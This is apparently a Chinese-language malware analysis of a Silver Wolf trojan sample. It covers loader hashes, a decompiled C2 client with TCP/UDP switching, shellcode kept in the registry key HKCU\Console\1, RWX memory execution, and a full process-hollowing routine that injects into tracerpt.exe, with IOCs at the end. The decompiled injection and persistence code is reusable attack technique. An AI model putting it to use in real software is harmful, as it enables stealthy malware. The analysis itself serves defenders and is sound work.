本文对银狐(Silver Wolf)木马样本进行逆向分析,涵盖从 Loader 到 Stage1 的完整攻击链,包括 C2 通信机制和后渗透功能的实现细节。
Table of contents
Open Table of contents
简介
银狐团伙是一个主要针对企业财务人员和政务系统的 APT 组织。其木马交付流程通常为:
源头下发木马 → 多渠道分发 → 定制免杀 Loader
免杀服务通常采用按天计费模式,根据木马在目标系统的存活时间收费,这也反映出该团伙的商业化运营特征。
Loader 分析
样本信息
| 属性 | 值 |
|---|---|
| Loader Hash | fa755134d9c9796b2f58fd61aeb0ef12121da6afaa1943f05334d332992cdff5 |
| Winexe Hash | c4c5bcc5fb3fa34759e650e632c70907f0a6418d8978b5d1796fc23b719b98bc |
| Shellcode Hash | 077de545481a47fc159078329287620048f396686d6bdf8d0049b2d0cd1cc613 |
沙箱检测结果
VT 检测:该 Loader 样本被多个杀软引擎标记,检测率较高。
Loader 的操作因人而异,核心在于找到其加载的内存 shellcode。
VT 关联分析:VT 显示该 Loader 拖取了一个 Winexe 文件,hash 为 c4c5bcc5fb3fa34759e650e632c70907f0a6418d8978b5d1796fc23b719b98bc。
微步沙箱:沙箱运行日志显示该样本加载了内存 shellcode,hash 为 077de545481a47fc159078329287620048f396686d6bdf8d0049b2d0cd1cc613。
关联确认:通过 hash 关联分析,可以确认 shellcode 文件与 VT 的 Winexe 文件存在直接关联关系。
结论:可以直接分析 Winexe 文件
c4c5bcc5fb3fa34759e650e632c70907f0a6418d8978b5d1796fc23b719b98bc。
银狐 Stage1 分析
之所以称之为 Stage1,是因为发现的后渗透功能相对有限,与网上流传的截图存在差异,推测这只是初始阶段。
主函数分析
主函数的执行流程:
- 设置异常处理过滤器
- 隐藏控制台窗口
- 读取并解密配置文件(C2 URL、通信参数等)
- 创建工作线程执行核心逻辑
__int64 wmain()
{
HWND ConsoleWindow; // rax
DWORD CurrentThreadId; // eax
SetUnhandledExceptionFilter(TopLevelExceptionFilter);
ConsoleWindow = GetConsoleWindow();
ShowWindow(ConsoleWindow, 0); // 隐藏窗口
CurrentThreadId = GetCurrentThreadId();
PostThreadMessageA(CurrentThreadId, 0, 0i64, 0i64);
GetInputState();
SetConfig(); // 初始化配置
hObject = CreateThread(0i64, 0i64, StartAddress, 0i64, 0, 0i64);
WaitForSingleObject(hObject, 0xFFFFFFFF);
CloseHandle(hObject);
Sleep(0x12Cu);
return 0i64;
}
主循环分析
StartAddress 函数是主循环的核心,负责网络通信初始化和 C2 连接。
Socket 初始化
// 初始化 TCP Socket (0xB8 = 184 bytes)
pTcpSocket = CTcpSocket::Initialize(operator new(0xB8));
// 初始化 UDP Socket (0x368 = 872 bytes)
pUdpSocket = CUdpSocket::Initialize(operator new(0x368));
C2 配置切换
样本内置了两组 C2 配置,通过标志位切换:
if ( byte_1400217EE )
{
// 配置组 A
wcscpy_s(&Destination, 0xFF, &word_1400224AC); // IP地址1
wcscpy_s(&word_1400215B0, 0x1E, &word_1400226AA); // 端口1
IsTcpSocket = flag1;
}
else
{
// 配置组 B
wcscpy_s(&Destination, 0xFF, &Source); // IP地址2
wcscpy_s(&word_1400215B0, 0x1E, &word_14002246C); // 端口2
IsTcpSocket = flag2;
}
byte_1400217EE = !byte_1400217EE; // 翻转切换标志
协议选择与连接
// 根据 IsTcpSocket 标志选择协议
v2 = pUdpSocket;
if ( IsTcpSocket == 1 )
v2 = pTcpSocket; // 使用 TCP
else
v2 = pUdpSocket; // 使用 UDP
Sleep(1000 * wcstoxl(config2)); // 连接前延迟
// 连接到 C2 服务器
if ( vftable[4](v2, &Destination, wcstoxl(&word_1400215B0)) )
{
// 创建 Manager 处理通信
v12[0] = (__int64)&CManager::`vftable';
v12[1] = v2;
(*(_QWORD *)v2 + 24)(v2, v12); // 注册回调
// 初始化 KernelManager
v12[0] = (__int64)&CKernelManager::`vftable';
(*(_QWORD *)v2 + 16)(v2, &v17, 2);
WaitForSingleObject(hHandle, INFINITE);
}
CTcpSocket 类分析
初始化函数
__int64 __fastcall CTcpSocket::Initialize(__int64 pSocket)
{
struct WSAData WSAData;
*(_QWORD *)(pSocket + 16) = 0i64;
*(_DWORD *)(pSocket + 24) = 0;
*(_QWORD *)pSocket = &CTcpSocket::`vftable';
// ... 省略成员初始化 ...
WSAStartup(0x202u, &WSAData);
*(_QWORD *)(pSocket + 8) = CreateEventW(0i64, 1, 0, 0i64);
_InterlockedExchange((volatile __int32 *)(pSocket + 32), 0);
return pSocket;
}
虚函数表
.rdata:000000014001A978 ; const CTcpSocket::`vftable'
.rdata:000000014001A978 ??_7CTcpSocket@@6B@ dq offset sub_140003310
.rdata:000000014001A980 dq offset sub_140005A30
.rdata:000000014001A988 dq offset sub_140003860
.rdata:000000014001A990 dq offset ?swfun@std@@YAXAEAVios_base@1@_J@Z
.rdata:000000014001A998 dq offset Connect // vftable[4]
.rdata:000000014001A9A0 dq offset sub_140003C10
vftable[4] 对应 Connect 函数。
Connect 函数
char __fastcall Connect(char *ArgList, LPCWCH lpWideCharStr, u_short a3)
{
// ... 省略变量声明 ...
ResetEvent(*((HANDLE *)ArgList + 1));
_InterlockedExchange((volatile __int32 *)ArgList + 8, 0);
*((_DWORD *)ArgList + 7) = timeGetTime();
// 创建 TCP Socket
v6 = socket(2, 1, 6); // AF_INET, SOCK_STREAM, TCP
*((_QWORD *)ArgList + 22) = v6;
if ( v6 == -1i64 )
return 0;
// DNS 解析
v13 = gethostbyname(lpMultiByteStr);
if ( !v13 )
return 0;
// 建立 TCP 连接
name.sa_family = 2;
*(_WORD *)name.sa_data = htons(a3);
*(_DWORD *)&name.sa_data[2] = **(_DWORD **)v13->h_addr_list;
if ( connect(v14, &name, 16) == -1 )
return 0;
// 设置 Socket 选项
setsockopt(v15, 0xFFFF, 4097, optval, 4); // SO_RCVBUF
setsockopt(v16, 0xFFFF, 4098, optval, 4); // SO_SNDBUF
setsockopt(v17, 0xFFFF, 4102, v23, 4); // SO_RCVTIMEO
// 创建接收/发送线程
*((_QWORD *)ArgList + 20) = beginthreadex(0i64, 0, sub_140003690, ArgList, 0, &ThrdAddr);
*((_QWORD *)ArgList + 21) = beginthreadex(0i64, 0, sub_1400037E0, ArgList, 0, &v25);
return 1;
}
任务下发函数
sub_140006860 是核心的任务分发函数,负责处理 C2 下发的指令。
void __fastcall sub_140006860(_QWORD *ArgList, _BYTE *a2, int a3)
{
// ... 省略变量声明 ...
if ( *a2 == 0xC9 ) // 心跳包
return;
if ( a3 != 101 )
{
// 接收并存储 shellcode
memmove(&unk_140021800, a2 + 1, 0xA44ui64);
lpBuffer = VirtualAlloc(0i64, dword_140021A08, 0x3000u, 0x40u);
memmove((void *)lpBuffer, a2 + 2629, dword_140021A08);
// 写入注册表持久化
if ( !RegCreateKeyW(HKEY_CURRENT_USER, L"Console\\1", &cbData) )
{
RegDeleteValueW(cbData, L"d33f351a4aeea5e608853d1a56661059");
RegSetValueExW(cbData, L"d33f351a4aeea5e608853d1a56661059", 0, 3u, v12, v10);
}
// ...
}
// 从注册表恢复 shellcode
if ( !RegOpenKeyExW(HKEY_CURRENT_USER, L"Console\\1", 0, 0x20019u, &hKey) )
{
RegQueryValueExW(hKey, L"d33f351a4aeea5e608853d1a56661059", ...);
// ...
}
// ...
}
📋 注册表键值说明
| 键路径 | 键值名称 | 用途 |
|---|---|---|
HKEY_CURRENT_USER\Console\1 | d33f351a4aeea5e608853d1a56661059 | 存储加密的 shellcode 和配置 |
该键值会在每次通信后被覆盖更新,实现配置和 payload 的持久化存储。
后渗透功能
1. Shellcode 执行
通过经典的内存分配 API 申请 RWX 内存并执行 shellcode:
RegOpenKeyExW(HKEY_CURRENT_USER, L"Console\\1", 0, 0x20019, &hKey);
RegQueryValueExW(hKey, L"d33f351a4aeea5e608853d1a56661059", ...);
// 恢复到全局变量和可执行内存
memmove(&unk_140021800, v5, 0xA44);
lpBuffer = VirtualAlloc(0, dword_140021A08, 0x3000, 0x40); // MEM_COMMIT | MEM_RESERVE, PAGE_EXECUTE_READWRITE
memmove(lpBuffer, v5 + 2628, dword_140021A08);
2. 远程线程注入
通过进程注入技术,劫持线程上下文执行 shellcode:
BOOL __fastcall sub_140006C80(int a1, __int64 a2)
{
// ... 省略变量声明 ...
// 配置启动信息(隐藏窗口)
StartupInfo.cb = 104;
StartupInfo.dwFlags = 1;
StartupInfo.wShowWindow = 0;
// 获取系统目录
GetSystemDirectoryA(Buffer, 0xFFu);
Buffer[3] = 0;
sub_140006F10(Buffer, "%s%s", Buffer, "Windows\\System32\\tracerpt.exe");
// 创建傀儡进程
result = CreateProcessA(Buffer, 0i64, 0i64, 0i64, 0, 4u, 0i64, 0i64, &StartupInfo, (LPPROCESS_INFORMATION)a2);
if ( result )
{
// 在目标进程中分配内存
v7 = VirtualAllocEx(*(HANDLE *)a2, 0i64, v6, 0x3000u, 0x40u);
v8 = (DWORD64)v7;
// 写入 shellcode 并劫持线程
if ( v7
&& WriteProcessMemory(*(HANDLE *)a2, v7, v2, v6, 0i64)
&& GetThreadContext(*(HANDLE *)(a2 + 8), &Context)
&& (Context.Rip = v8, SetThreadContext(*(HANDLE *)(a2 + 8), &Context)) )
{
ResumeThread(*(HANDLE *)(a2 + 8)); // 恢复线程执行
return 1;
}
}
return result;
}
🔧 进程注入流程
1. CreateProcessA 创建傀儡进程 (tracerpt.exe)
2. VirtualAllocEx 在目标进程分配 RWX 内存
3. WriteProcessMemory 写入 shellcode
4. GetThreadContext 获取线程上下文
5. SetThreadContext 修改 RIP 指向 shellcode
6. ResumeThread 恢复线程执行 shellcode
总结
样本特征
| 特征 | 描述 |
|---|---|
| 目标 | 企业财务人员、政务系统 |
| C2 协议 | TCP / UDP 双协议支持 |
| 持久化 | 注册表存储加密配置 |
| 进程注入 | 远程线程劫持 |
IOC 指标
# 注册表键值
HKEY_CURRENT_USER\Console\1\d33f351a4aeea5e608853d1a56661059
分析结论
该样本作为银狐木马的 Stage1,功能相对精简,主要负责:
- C2 通信建立 - 支持 TCP/UDP 双协议
- 配置持久化 - 利用注册表存储加密配置
- Shellcode 执行 - 内存分配 + 远程注入
考虑到后渗透功能的局限性,推测完整的攻击链需要 Stage2 的进一步下发。